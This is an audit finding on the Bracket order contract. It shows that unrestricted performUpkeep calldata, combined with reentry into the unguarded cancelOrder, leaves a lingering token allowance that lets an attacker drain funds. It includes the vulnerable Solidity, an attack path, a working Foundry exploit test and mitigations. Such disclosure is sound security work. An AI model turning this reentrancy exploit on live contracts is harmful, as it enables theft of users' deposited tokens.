Upbeat Lead Kestrel

High

# Funds can be drained by fake swaps

### Summary

The lack of access control in the flow of filling orders allows an attacker to make fake swaps to drain contract funds

### Root Cause

- The function `Bracket::performUpkeep()` allows the caller to execute the order and send funds to parties. However, the function allows anyone to call with arbitrary `performData`. 
There will be a swap in the function `Bracket::execute()` to fill the order request. The function approves `tokenIn` for the `target` address. It also makes an external call to `target` with `txData` which is passed from calldata.
```solidity
    function execute(
        address target,
        bytes memory txData,
        uint256 amountIn,
        IERC20 tokenIn,
        IERC20 tokenOut,
        uint16 bips
    ) internal returns (uint256 swapAmountOut, uint256 tokenInRefund) {
        //update accounting
        uint256 initialTokenIn = tokenIn.balanceOf(address(this));
        uint256 initialTokenOut = tokenOut.balanceOf(address(this));

        //approve
@>        tokenIn.safeApprove(target, amountIn);

        //perform the call
@>        (bool success, bytes memory result) = target.call(txData);

        if (success) {
            uint256 finalTokenIn = tokenIn.balanceOf(address(this));
            require(finalTokenIn >= initialTokenIn - amountIn, "over spend");
            uint256 finalTokenOut = tokenOut.balanceOf(address(this));

            //if success, we expect tokenIn balance to decrease by amountIn
            //and tokenOut balance to increase by at least minAmountReceived
            require(
                finalTokenOut - initialTokenOut >
                    MASTER.getMinAmountReceived(
                        amountIn,
                        tokenIn,
                        tokenOut,
                        bips
                    ),
                "Too Little Received"
            );

            swapAmountOut = finalTokenOut - initialTokenOut;
            tokenInRefund = amountIn - (initialTokenIn - finalTokenIn);
        } else {
            //force revert
            revert TransactionFailed(result);
        }
    }
```

- After the swap is executed, the order is removed from pending orders list. The function `ArrayMutation.removeFromArray()`  does not revert if the id not found in the array
```solidity
    function performUpkeep(
        bytes calldata performData
    ) external override nonReentrant {
        MasterUpkeepData memory data = abi.decode(
            performData,
            (MasterUpkeepData)
        );
        Order memory order = orders[pendingOrderIds[data.pendingOrderIdx]];

        require(
            order.orderId == pendingOrderIds[data.pendingOrderIdx],
            "Order Fill Mismatch"
        );

        //deduce if we are filling stop or take profit
        (bool inRange, bool takeProfit, ) = checkInRange(order);
        require(inRange, "order ! in range");

        //deduce bips
        uint16 bips;
        takeProfit ? bips = order.takeProfitSlippage : bips = order
            .stopSlippage;

        (uint256 swapAmountOut, uint256 tokenInRefund) = execute(
            data.target,
            data.txData,
            order.amountIn,
            order.tokenIn,
            order.tokenOut,
            bips
        );

        //handle accounting
        //remove from pending array
@>        pendingOrderIds = ArrayMutation.removeFromArray(
            data.pendingOrderIdx,
            pendingOrderIds
        );

        //handle fee
        (uint256 feeAmount, uint256 adjustedAmount) = applyFee(
            swapAmountOut,
            order.feeBips
        );

        if (feeAmount != 0) {
            order.tokenOut.safeTransfer(address(MASTER), feeAmount);
        }

        //send tokenOut to recipient
        order.tokenOut.safeTransfer(order.recipient, adjustedAmount);

        //refund any unspent tokenIn
        //this should generally be 0 when using exact input for swaps, which is recommended
        if (tokenInRefund != 0) {
            order.tokenIn.safeTransfer(order.recipient, tokenInRefund);
        }

        //emit
        emit OrderProcessed(order.orderId);
    }
```

- The [function `Bracket::cancelOrder()` ](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/Bracket.sol#L309-L313) does not have reentrancy guard, which can be reentered from the above flow.
At the external call `(bool success, bytes memory result) = target.call(txData)` in the function `execute()`, an attacker can reenter to the function `cancelOrder()` to take back the order `tokenIn` and the allowance from `tokenIn.safeApprove(target, amountIn)` still remains.
By this, an attacker can fill his own order (so that he does have to spend `tokenOut`) with his malicious `performData` to gain `tokenIn` allowance from `Bracket` contract. 

- Note that the same issue happens with `OracleLess::fillOrder()` function.

### Internal pre-conditions

1. There are pending orders in the list so that the removal of pending order in function `performUpkeep()` does not fail due to empty array

### External pre-conditions

_No response_

### Attack Path

1. At attacker deploys a malicious contract
2. The attacker creates an order to sell 1 WETH for 4000 USDC
3. The attacker prepare `performData` for the function `performUpkeep()` so that it calls to his malicious contract
4. The attacker calls `performUpkeep()`, which calls to his malicious contract. In the ext call, the malicious contract reenters to the function `cancelOrder()` to cancel his order to take back `WETH` to decrease contract balance which satisfies spending balance checks logic. The malicious also sends `USDC` to the Bracket contract. As a result, the `performUpkeep()` function succeeds.
5. At this step, the attacker contract gains allowance of `WETH` from Bracket contract. By just calling `WETH.transferFrom()`, the attacker can steal WETH balance from Bracket contract

### Impact

- Funds can be drained

### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Bracket, IERC20, IBracket} from "contracts/automatedTrigger/Bracket.sol";
import {AutomationMaster, IPythRelay, IAutomation} from "contracts/automatedTrigger/AutomationMaster.sol";
import "contracts/interfaces/uniswapV3/IPermit2.sol";
import {MockERC20} from "forge-std/mocks/MockERC20.sol";

contract MockToken is MockERC20 {
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract MyTest is Test {
    Bracket bracket;
    AutomationMaster master;
    address permit2;

    IERC20 usdc;
    IERC20 weth;

    address usdcOracle;
    address wethOracle;

    IERC20[] tokens;
    IPythRelay[] oracles;

    uint96 currentOrderId;

    address alice;

    function setUp() public {
        permit2 = makeAddr("permit2");
        usdcOracle = makeAddr("usdcOracle");
        wethOracle = makeAddr("wethOracle");
        alice = makeAddr("alice");

        master = new AutomationMaster();
        bracket = new Bracket(master, IPermit2(permit2));

        MockToken _usdc = new MockToken();
        _usdc.initialize("usdc", "usdc", 8);
        _usdc.mint(address(this), 1000000e8);
        _usdc.mint(alice, 1000000e8);
        _usdc.approve(address(bracket), 1000000e8);
        vm.prank(alice);
        _usdc.approve(address(bracket), 1000000e8);

        usdc = IERC20(address(_usdc));

        MockToken _weth = new MockToken();
        _weth.initialize("weth", "WETH", 18);
        _weth.mint(address(this), 1e6 ether);
        _weth.mint(alice, 1e6 ether);
        _weth.approve(address(bracket), 1e6 ether);
        vm.prank(alice);
        _weth.approve(address(bracket), 1e6 ether);

        weth = IERC20(address(_weth));

        vm.label(address(usdc), "USDC");
        vm.label(address(weth), "WETH");

        tokens.push(usdc);
        tokens.push(weth);

        oracles.push(IPythRelay(usdcOracle));
        oracles.push(IPythRelay(wethOracle));

        master.registerOracle(tokens, oracles);
        master.setMaxPendingOrders(100);

        vm.mockCall(usdcOracle, abi.encodeWithSignature("currentValue()"), abi.encode(1e8));
        _updateETHPrice(4000);
    }

    function _updateETHPrice(uint256 price) internal {
        vm.mockCall(wethOracle, abi.encodeWithSignature("currentValue()"), abi.encode(price * 1e8));
    }

    function test_reenter_drain() public {
      // @audit POC reenter
        uint96 orderId = master.generateOrderId(address(this));
        currentOrderId = orderId;

        // assume contract has funds from other orders
        weth.transfer(address(bracket), 1 ether);

        // 1/ attacker creates order
        bracket.createOrder({
            swapPayload: new bytes(0),
            takeProfit: 4100 * 1e8,
            stopPrice: 0,
            amountIn: 1 ether,
            tokenIn: weth,
            tokenOut: usdc,
            recipient: address(this),
            feeBips: 0,
            takeProfitSlippage: 0,
            stopSlippage: 0,
            permit: false,
            permitPayload: new bytes(0)
        });

        // 2/ a normal user creates order
        // satisfy that `pendingOrderIds` has length > 1
        vm.prank(alice);
        bracket.createOrder({
            swapPayload: new bytes(0),
            takeProfit: 5000 * 1e8,
            stopPrice: 0,
            amountIn: 1 ether,
            tokenIn: weth,
            tokenOut: usdc,
            recipient: alice,
            feeBips: 0,
            takeProfitSlippage: 0,
            stopSlippage: 0,
            permit: false,
            permitPayload: new bytes(0)
        });

        IAutomation.MasterUpkeepData memory upkeepData = IAutomation.MasterUpkeepData({
            orderType: IAutomation.OrderType.BRACKET,
            target: address(this), // malicious swap target
            txData: abi.encodeWithSignature("maliciousSwap()"), // malicious swap data
            pendingOrderIdx: 0,
            orderId: orderId, // attacker's order
            tokenIn: weth,
            tokenOut: usdc,
            slippage: 0,
            amountIn: 1 ether,
            exchangeRate: 0
        });
        _updateETHPrice(4200);

        // 3/ fill attacker order
        bracket.performUpkeep(abi.encode(upkeepData));

        assertEq(weth.allowance(address(bracket), address(this)), 0, "should have zero allowance after execution");
    }


    function maliciousSwap() external payable {
      // malicious swap function prepared by attacker

        // 1/ to satisfy check spending amount of tokenIn
        bracket.cancelOrder(currentOrderId);

        // 2/ satisfy order amountOut
        usdc.transfer(address(bracket), 4201e8);
    }

}
```

### Mitigation

Consider approaches:
- Adding access control to fill orders
- Add reentrancy guard for the `cancelOrder()`
- Revoke allowance after the swap execution